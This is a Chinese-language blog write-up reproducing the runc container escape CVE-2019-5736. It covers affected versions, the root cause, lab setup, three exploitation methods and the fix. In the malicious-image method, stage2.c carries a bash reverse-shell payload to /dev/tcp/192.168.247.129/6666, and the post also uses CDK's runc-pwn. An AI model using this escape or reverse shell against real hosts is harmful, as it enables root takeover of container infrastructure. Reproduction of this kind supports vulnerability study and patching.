CVE-2019-5736(runc逃逸)
影响版本
- runc 1.0.0-rc6 及更早版本
- Docker 18.09.2 之前的版本
- Kubernetes、LXC、Apache Mesos 等依赖 runc 的容器平台
漏洞原理
CVE-2019-5736 的核心原理是runc 进程在启动容器时未正确隔离自身文件描述符,导致容器内恶意进程可覆盖宿主机的 runc 二进制文件,最终实现容器逃逸并获取宿主机 root 权限。
利用方式:
- 文件描述符泄露: runc 启动容器时,会通过/proc/self/exe(指向自身二进制文件)创建进程,且未关闭该文件描述符(FD)。容器内的进程可通过/proc/self/fd/访问此泄露的 FD,该 FD 直接指向宿主机上的 runc 二进制文件。
- 覆盖宿主机 runc: 容器内的恶意进程通过该 FD 以可写方式打开宿主机 runc 文件,循环写入恶意代码。
- 触发条件:攻击者需控制容器,由于 runc 通常以 root 权限执行,覆盖runc 后,宿主机后续任何调用 runc 的操作(如docker run)都会触发恶意代码,导致攻击者获得宿主机 root 权限。
注:文件描述符用于标识进程打开的文件、设备、管道等资源。runc 作为容器运行时,在启动和管理容器的过程中会涉及大量文件描述符的操作,这些 FD 用于与宿主机的文件系统、设备、管道等进行交互。
环境搭建
安装漏洞版本
1 | #centos7 |
配置进镜像源
1 | # 创建Docker配置目录 |
在受害者机器上启动一个容器,搭建攻击环境
1 | [root@localhost ~]# docker pull nginx |
漏洞复现
方法一 docker runc触发
此漏洞将覆盖 runc 的实现,这将导致您的系统无法再运行 Docker 容器。请备份 /usr/bin/docker-runc 或 /usr/bin/runc
1 | cp /usr/bin/docker-runc /usr/bin/docker-runc.bak |
1 | #修改mian.go |
攻击者需要在容器内执行命令,并启动一个用于监听的恶意二进制文件。当有人(攻击者或受害者)利用该docker exec
漏洞进入容器时,就会触发漏洞,允许以 root 身份执行代码。
1 | docker cp /root/Desktop/CVE-2019-5736-PoC-master/exp nginx-test:/home |
直接使用host监听8887
重新开启另终端进入容器 /bin/sh
1 | docker exec -it nginx-test /bin/sh |
方法二 恶意 Docker 镜像
创建一个恶意 Docker 镜像。当该镜像运行时,漏洞利用代码将会触发。无需在容器中执行 exec 操作。
修改 stage2.c
1 | const char *poc = "#!/bin/bash\n/bin/bash -i >& /dev/tcp/192.168.247.129/6666 0>&1 &\n"; |
1 | cd cve-2019-5736-poc-iso |
方法三 CDK
CDK 旧版本的
1 | sudo ./cdk run runc-pwn //自动检测本地 runc 版本及漏洞情况 |
修复方式
升级 runc 至 1.0.0-rc7 + 或 Docker 至 18.09.2+
本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来源 Kaelthlog!